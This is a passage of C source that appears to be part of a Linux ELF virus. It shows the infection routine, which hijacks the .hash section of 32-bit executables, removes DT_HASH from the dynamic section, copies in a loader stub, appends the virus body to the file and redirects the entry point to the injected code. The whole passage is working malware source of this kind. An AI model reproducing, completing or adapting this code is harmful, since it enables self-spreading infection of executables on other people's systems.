	int dsz = 0;
        Elf32_Dyn *dyn;
	Elf32_Shdr *sh;

	/* save pointer to the .hash entry in the SHT and get dynamic */
	sh = NULL; dyn = NULL;
	for (i = 0; i < ehdr->e_shnum; i++) {
		if (shdr[i].sh_type == SHT_HASH)
			sh = &shdr[i];
		/* optional */
		if (shdr[i].sh_type == SHT_DYNAMIC) {
			dsz = shdr[i].sh_size / sizeof(Elf32_Dyn);
			dyn = (Elf32_Dyn*)(m + shdr[i].sh_offset);

		}
	}
	if (sh == NULL)
		goto _unmap;

	/* do we have enough space? */
	if (sh->sh_size < (CSIZE + 12))
		goto _unmap;

	/* remove DT_HASH from dynamic section (optional) */
	if (dyn != NULL)
		for (i = 0; i < dsz; i++)
			if (dyn[i].d_tag == DT_HASH) {
				memmove(&dyn[i], &dyn[i+1], (dsz - i - 2) * sizeof(Elf32_Dyn));		
				break;
			}

	/* patch loader */
	uint32_t nl = (l + 4095) & 0xfffff000;
	*(uint32_t*)(g->loader + PATCH_OFFSET) = nl;

	*(uint32_t*)(m + sh->sh_offset) = 1;
	*(uint64_t*)(m + sh->sh_offset + 8) = 0;
	/* copy our code */
	memcpy(m + sh->sh_offset + 12, g->loader, CSIZE);
	
	/* change .hash' type */
	sh->sh_type = SHT_PROGBITS;

	/* write virus body */
	ftruncate(h, nl);
	lseek(h, 0, 2);
	write(h, g->self, g->size);
	pwrite(h, &ehdr->e_entry, 4, nl + 10, 0);

	/* change entry point */
	ehdr->e_entry = sh->sh_addr + 12;
